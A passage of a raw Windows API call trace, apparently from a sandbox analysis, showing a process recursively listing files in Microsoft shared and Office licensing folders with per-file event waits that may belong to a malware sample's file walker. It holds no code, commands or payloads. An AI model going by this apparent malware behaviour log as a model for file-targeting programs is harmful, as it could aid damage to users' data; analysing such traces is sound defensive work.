hFindFile=0x37e8b20, lpFindFileData=0x2b1ede0 | out: lpFindFileData=0x2b1ede0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e3632db, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e3632db, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e3632db, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2800, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0092.066] FindNextFileW (in: hFindFile=0x37e8b20, lpFindFileData=0x2b1ede0 | out: lpFindFileData=0x2b1ede0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e3632db, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e3632db, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e3632db, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2800, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0092.066] FindClose (in: hFindFile=0x37e8b20 | out: hFindFile=0x37e8b20) returned 1 [0092.066] GetProcessHeap () returned 0xc00000 [0092.066] HeapFree (in: hHeap=0xc00000, dwFlags=0x0, lpMem=0x37d78e0 | out: hHeap=0xc00000) returned 1 [0092.066] FindNextFileW (in: hFindFile=0xc19c78, lpFindFileData=0x2b1f068 | out: lpFindFileData=0x2b1f068*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa08c93df, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3ecc0a, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-CN", cAlternateFileName="")) returned 1 [0092.066] GetProcessHeap () returned 0xc00000 [0092.066] RtlAllocateHeap (HeapHandle=0xc00000, Flags=0x0, Size=0x10000) returned 0x37d78e0 [0092.066] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\zh-CN\\*", lpFindFileData=0x2b1ede0 | out: lpFindFileData=0x2b1ede0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa08c93df, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3ecc0a, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x37e92e0 [0092.066] FindNextFileW (in: hFindFile=0x37e92e0, lpFindFileData=0x2b1ede0 | out: lpFindFileData=0x2b1ede0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa08c93df, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3ecc0a, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0092.067] FindNextFileW (in: hFindFile=0x37e92e0, lpFindFileData=0x2b1ede0 | out: lpFindFileData=0x2b1ede0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e100c60, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e100c60, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e100c60, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x1c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0092.067] FindNextFileW (in: hFindFile=0x37e92e0, lpFindFileData=0x2b1ede0 | out: lpFindFileData=0x2b1ede0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e100c60, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e100c60, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e100c60, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x1c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0092.067] FindClose (in: hFindFile=0x37e92e0 | out: hFindFile=0x37e92e0) returned 1 [0092.067] GetProcessHeap () returned 0xc00000 [0092.067] HeapFree (in: hHeap=0xc00000, dwFlags=0x0, lpMem=0x37d78e0 | out: hHeap=0xc00000) returned 1 [0092.067] FindNextFileW (in: hFindFile=0xc19c78, lpFindFileData=0x2b1f068 | out: lpFindFileData=0x2b1f068*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa08c97fd, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3ecc0a, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-TW", cAlternateFileName="")) returned 1 [0092.067] GetProcessHeap () returned 0xc00000 [0092.067] RtlAllocateHeap (HeapHandle=0xc00000, Flags=0x0, Size=0x10000) returned 0x37d78e0 [0092.067] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\zh-TW\\*", lpFindFileData=0x2b1ede0 | out: lpFindFileData=0x2b1ede0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa08c97fd, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3ecc0a, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x37e8c20 [0092.067] FindNextFileW (in: hFindFile=0x37e8c20, lpFindFileData=0x2b1ede0 | out: lpFindFileData=0x2b1ede0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa08c97fd, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3ecc0a, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0092.067] FindNextFileW (in: hFindFile=0x37e8c20, lpFindFileData=0x2b1ede0 | out: lpFindFileData=0x2b1ede0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e0daa01, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e0daa01, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e100c60, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x1c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0092.068] FindNextFileW (in: hFindFile=0x37e8c20, lpFindFileData=0x2b1ede0 | out: lpFindFileData=0x2b1ede0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e0daa01, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e0daa01, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e100c60, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x1c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0092.068] FindClose (in: hFindFile=0x37e8c20 | out: hFindFile=0x37e8c20) returned 1 [0092.068] GetProcessHeap () returned 0xc00000 [0092.068] HeapFree (in: hHeap=0xc00000, dwFlags=0x0, lpMem=0x37d78e0 | out: hHeap=0xc00000) returned 1 [0092.068] FindNextFileW (in: hFindFile=0xc19c78, lpFindFileData=0x2b1f068 | out: lpFindFileData=0x2b1f068*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa08c97fd, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3ecc0a, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-TW", cAlternateFileName="")) returned 0 [0092.068] FindClose (in: hFindFile=0xc19c78 | out: hFindFile=0xc19c78) returned 1 [0092.068] GetProcessHeap () returned 0xc00000 [0092.068] HeapFree (in: hHeap=0xc00000, dwFlags=0x0, lpMem=0x37b48b8 | out: hHeap=0xc00000) returned 1 [0092.069] FindNextFileW (in: hFindFile=0xc19c38, lpFindFileData=0x2b1f2f0 | out: lpFindFileData=0x2b1f2f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa098a4c6, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x71143a45, ftLastWriteTime.dwHighDateTime=0x1d2fa08, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x1ff, cFileName="MSInfo", cAlternateFileName="")) returned 1 [0092.070] GetProcessHeap () returned 0xc00000 [0092.070] RtlAllocateHeap (HeapHandle=0xc00000, Flags=0x0, Size=0x10000) returned 0x37d78e0 [0092.070] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\MSInfo\\*", lpFindFileData=0x2b1f068 | out: lpFindFileData=0x2b1f068*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa098a4c6, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x71143a45, ftLastWriteTime.dwHighDateTime=0x1d2fa08, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xc19c78 [0092.081] FindNextFileW (in: hFindFile=0xc19c78, lpFindFileData=0x2b1f068 | out: lpFindFileData=0x2b1f068*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa098a4c6, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x71143a45, ftLastWriteTime.dwHighDateTime=0x1d2fa08, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0092.083] FindNextFileW (in: hFindFile=0xc19c78, lpFindFileData=0x2b1f068 | out: lpFindFileData=0x2b1f068*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8b209410, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa098aa4a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b209410, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1 [0092.083] GetProcessHeap () returned 0xc00000 [0092.083] RtlAllocateHeap (HeapHandle=0xc00000, Flags=0x0, Size=0x10000) returned 0x37b58c0 [0092.083] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\MSInfo\\en-US\\*", lpFindFileData=0x2b1ede0 | out: lpFindFileData=0x2b1ede0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8b209410, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa098aa4a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b209410, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffd523, dwReserved1=0x1fff, cFileName=".", cAlternateFileName="")) returned 0x37e9520 [0092.084] FindNextFileW (in: hFindFile=0x37e9520, lpFindFileData=0x2b1ede0 | out: lpFindFileData=0x2b1ede0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8b209410, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa098aa4a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b209410, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffd523, dwReserved1=0x1fff, cFileName="..", cAlternateFileName="")) returned 1 [0092.085] FindNextFileW (in: hFindFile=0x37e9520, lpFindFileData=0x2b1ede0 | out: lpFindFileData=0x2b1ede0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3bb38282, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x73430dfb, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0x261f2e00, ftLastWriteTime.dwHighDateTime=0x1d29faa, nFileSizeHigh=0x0, nFileSizeLow=0x7800, dwReserved0=0xffffd523, dwReserved1=0x1fff, cFileName="msinfo32.exe.mui", cAlternateFileName="")) returned 1 [0092.085] FindNextFileW (in: hFindFile=0x37e9520, lpFindFileData=0x2b1ede0 | out: lpFindFileData=0x2b1ede0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3bb38282, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x73430dfb, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0x261f2e00, ftLastWriteTime.dwHighDateTime=0x1d29faa, nFileSizeHigh=0x0, nFileSizeLow=0x7800, dwReserved0=0xffffd523, dwReserved1=0x1fff, cFileName="msinfo32.exe.mui", cAlternateFileName="")) returned 0 [0092.085] FindClose (in: hFindFile=0x37e9520 | out: hFindFile=0x37e9520) returned 1 [0092.085] GetProcessHeap () returned 0xc00000 [0092.085] HeapFree (in: hHeap=0xc00000, dwFlags=0x0, lpMem=0x37b58c0 | out: hHeap=0xc00000) returned 1 [0092.085] FindNextFileW (in: hFindFile=0xc19c78, lpFindFileData=0x2b1f068 | out: lpFindFileData=0x2b1f068*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x463aec8d, ftCreationTime.dwHighDateTime=0x1d2fa08, ftLastAccessTime.dwLowDateTime=0x63793f1, ftLastAccessTime.dwHighDateTime=0x1d2fa0a, ftLastWriteTime.dwLowDateTime=0x463aec8d, ftLastWriteTime.dwHighDateTime=0x1d2fa08, nFileSizeHigh=0x0, nFileSizeLow=0x5a600, dwReserved0=0x0, dwReserved1=0x0, cFileName="msinfo32.exe", cAlternateFileName="")) returned 1 [0092.086] FindNextFileW (in: hFindFile=0xc19c78, lpFindFileData=0x2b1f068 | out: lpFindFileData=0x2b1f068*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x463aec8d, ftCreationTime.dwHighDateTime=0x1d2fa08, ftLastAccessTime.dwLowDateTime=0x63793f1, ftLastAccessTime.dwHighDateTime=0x1d2fa0a, ftLastWriteTime.dwLowDateTime=0x463aec8d, ftLastWriteTime.dwHighDateTime=0x1d2fa08, nFileSizeHigh=0x0, nFileSizeLow=0x5a600, dwReserved0=0x0, dwReserved1=0x0, cFileName="msinfo32.exe", cAlternateFileName="")) returned 0 [0092.086] FindClose (in: hFindFile=0xc19c78 | out: hFindFile=0xc19c78) returned 1 [0092.086] GetProcessHeap () returned 0xc00000 [0092.086] HeapFree (in: hHeap=0xc00000, dwFlags=0x0, lpMem=0x37d78e0 | out: hHeap=0xc00000) returned 1 [0092.088] FindNextFileW (in: hFindFile=0xc19c38, lpFindFileData=0x2b1f2f0 | out: lpFindFileData=0x2b1f2f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd99442a7, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xd9f60362, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd9f60362, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x1ff, cFileName="OFFICE16", cAlternateFileName="")) returned 1 [0092.088] GetProcessHeap () returned 0xc00000 [0092.088] RtlAllocateHeap (HeapHandle=0xc00000, Flags=0x0, Size=0x10000) returned 0x37d78e0 [0092.088] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\OFFICE16\\*", lpFindFileData=0x2b1f068 | out: lpFindFileData=0x2b1f068*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd99442a7, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xd9f60362, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd9f60362, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xc19c78 [0092.090] FindNextFileW (in: hFindFile=0xc19c78, lpFindFileData=0x2b1f068 | out: lpFindFileData=0x2b1f068*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd99442a7, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xd9f60362, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd9f60362, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0092.090] FindNextFileW (in: hFindFile=0xc19c78, lpFindFileData=0x2b1f068 | out: lpFindFileData=0x2b1f068*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5b5b0d00, ftCreationTime.dwHighDateTime=0x1d0d7c4, ftLastAccessTime.dwLowDateTime=0xd9e7b530, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x5b5b0d00, ftLastWriteTime.dwHighDateTime=0x1d0d7c4, nFileSizeHigh=0x0, nFileSizeLow=0x58cd0, dwReserved0=0x0, dwReserved1=0x0, cFileName="LICLUA.EXE", cAlternateFileName="")) returned 1 [0092.091] ResetEvent (hEvent=0x2cc) returned 1 [0092.091] WaitForSingleObject (hHandle=0x2cc, dwMilliseconds=0xffffffff) returned 0x0 [0092.255] FindNextFileW (in: hFindFile=0xc19c78, lpFindFileData=0x2b1f068 | out: lpFindFileData=0x2b1f068*(dwFileAttributes=0x30, ftCreationTime.dwLowDateTime=0xd9f60362, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xa0a26299, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xda982389, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Office Setup Controller", cAlternateFileName="OFFICE~1")) returned 1 [0092.255] GetProcessHeap () returned 0xc00000 [0092.255] RtlAllocateHeap (HeapHandle=0xc00000, Flags=0x0, Size=0x10000) returned 0x37b58c0 [0092.256] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\OFFICE16\\Office Setup Controller\\*", lpFindFileData=0x2b1ede0 | out: lpFindFileData=0x2b1ede0*(dwFileAttributes=0x30, ftCreationTime.dwLowDateTime=0xd9f60362, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xa0a26299, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xda982389, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffd523, dwReserved1=0x1fff, cFileName=".", cAlternateFileName="")) returned 0xc19cf8 [0092.258] FindNextFileW (in: hFindFile=0xc19cf8, lpFindFileData=0x2b1ede0 | out: lpFindFileData=0x2b1ede0*(dwFileAttributes=0x30, ftCreationTime.dwLowDateTime=0xd9f60362, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xa0a26299, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xda982389, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffd523, dwReserved1=0x1fff, cFileName="..", cAlternateFileName="")) returned 1 [0092.258] FindNextFileW (in: hFindFile=0xc19cf8, lpFindFileData=0x2b1ede0 | out: lpFindFileData=0x2b1ede0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x69e1fe00, ftCreationTime.dwHighDateTime=0x1d0d79d, ftLastAccessTime.dwLowDateTime=0xd9ff8cc1, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x69e1fe00, ftLastWriteTime.dwHighDateTime=0x1d0d79d, nFileSizeHigh=0x0, nFileSizeLow=0x168258, dwReserved0=0xffffd523, dwReserved1=0x1fff, cFileName="pidgenx.dll", cAlternateFileName="")) returned 1 [0092.259] ResetEvent (hEvent=0x2cc) returned 1 [0092.259] WaitForSingleObject (hHandle=0x2cc, dwMilliseconds=0xffffffff) returned 0x0 [0092.268] ResetEvent (hEvent=0x2cc) returned 1 [0092.268] WaitForSingleObject (hHandle=0x2cc, dwMilliseconds=0xffffffff) returned 0x0 [0092.312] FindNextFileW (in: hFindFile=0xc19cf8, lpFindFileData=0x2b1ede0 | out: lpFindFileData=0x2b1ede0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x69e1fe00, ftCreationTime.dwHighDateTime=0x1d0d79d, ftLastAccessTime.dwLowDateTime=0xda982389, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x69e1fe00, ftLastWriteTime.dwHighDateTime=0x1d0d79d, nFileSizeHigh=0x0, nFileSizeLow=0x902bb, dwReserved0=0xffffd523, dwReserved1=0x1fff, cFileName="pkeyconfig-office.xrm-ms", cAlternateFileName="PKEYCO~1.XRM")) returned 1 [0092.312] ResetEvent (hEvent=0x2cc) returned 1 [0092.312] WaitForSingleObject (hHandle=0x2cc, dwMilliseconds=0xffffffff) returned 0x0 [0092.389] ResetEvent (hEvent=0x2cc) returned 1 [0092.389] WaitForSingleObject (hHandle=0x2cc, dwMilliseconds=0xffffffff) returned 0x0 [0092.420] FindNextFileW (in: hFindFile=0xc19cf8, lpFindFileData=0x2b1ede0 | out: lpFindFileData=0x2b1ede0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5b5b0d00, ftCreationTime.dwHighDateTime=0x1d0d7c4, ftLastAccessTime.dwLowDateTime=0xd9ff8cc1, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x5b5b0d00, ftLastWriteTime.dwHighDateTime=0x1d0d7c4, nFileSizeHigh=0x0, nFileSizeLow=0x48c0, dwReserved0=0xffffd523, dwReserved1=0x1fff, cFileName="pkeyconfig.companion.dll", cAlternateFileName="PKEYCO~1.DLL")) returned 1 [0092.421] ResetEvent (hEvent=0x2cc) returned 1 [0092.421] WaitForSingleObject (hHandle=0x2cc, dwMilliseconds=0xffffffff) returned 0x0 [0092.636] ResetEvent (hEvent=0x2cc) returned 1 [0092.636] WaitForSingleObject (hHandle=0x2cc, dwMilliseconds=0xffffffff) returned 0x0 [0094.918] ResetEvent (hEvent=0x2cc) returned 1 [0094.918] WaitForSingleObject (hHandle=0x2cc, dwMilliseconds=0xffffffff) returned 0x0 [0094.951] FindNextFileW (in: hFindFile=0xc19cf8, lpFindFileData=0x2b1ede0 | out: lpFindFileData=0x2b1ede0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5b5b0d00, ftCreationTime.dwHighDateTime=0x1d0d7c4, ftLastAccessTime.dwLowDateTime=0xd9ff8cc1, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x5b5b0d00, ftLastWriteTime.dwHighDateTime=0x1d0d7c4, nFileSizeHigh=0x0, nFileSizeLow=0x48c0, dwReserved0=0xffffd523, dwReserved1=0x1fff, cFileName="pkeyconfig.companion.dll", cAlternateFileName="PKEYCO~1.DLL")) returned 0 [0094.952] FindClose (in: hFindFile=0xc19cf8 | out: hFindFile=0xc19cf8) returned 1 [0094.953] GetProcessHeap () returned 0xc00000 [0094.953] HeapFree (in: hHeap=0xc00000, dwFlags=0x0, lpMem=0x37b58c0 | out: hHeap=0xc00000) returned 1 [0094.953] FindNextFileW (in: hFindFile=0xc19c78, lpFindFileData=0x2b1f068 | out: lpFindFileData=0x2b1f068*(dwFileAttributes=0x30, ftCreationTime.dwLowDateTime=0xd9f60362, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xa0a26299, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xda982389, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Office Setup Controller", cAlternateFileName="OFFICE~1")) returned 0 [0094.953] FindClose (in: hFindFile=0xc19c78 | out: hFindFile=0xc19c78) returned 1 [0094.953] GetProcessHeap () returned 0xc00000 [0094.953] HeapFree (in: hHeap=0xc00000, dwFlags=0x0, lpMem=0x37d78e0 | out: hHeap=0xc00000) returned 1 [0094.954] FindNextFileW (in: hFindFile=0xc19c38, lpFindFileData=0x2b1f2f0 | out: lpFindFileData=0x2b1f2f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd99442a7, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xd99442a7, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd99442a7, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x1ff, cFileName="OfficeSoftwareProtectionPlatform", cAlternateFileName="OFFICE~1")) returned 1 [0094.954] GetProcessHeap () returned 0xc00000 [0094.954] RtlAllocateHeap (HeapHandle=0xc00000, Flags=0x0, Size=0x10000) returned 0x37b48b8 [0094.955] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\OfficeSoftwareProtectionPlatform\\*", lpFindFileData=0x2b1f068 | out: lpFindFileData=0x2b1f068*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd99442a7, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xd99442a7, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd99442a7, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xc19cf8 [0094.955] FindNextFileW (in: hFindFile=0xc19cf8, lpFindFileData=0x2b1f068 | out: lpFindFileData=0x2b1f068*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd99442a7, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xd99442a7, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd99442a7, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0094.955] FindNextFileW (in: hFindFile=0xc19cf8, lpFindFileData=0x2b1f068 | out: lpFindFileData=0x2b1f068*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd99442a7, ftCreationTime.dwHighDateTime=0x1d327e7, 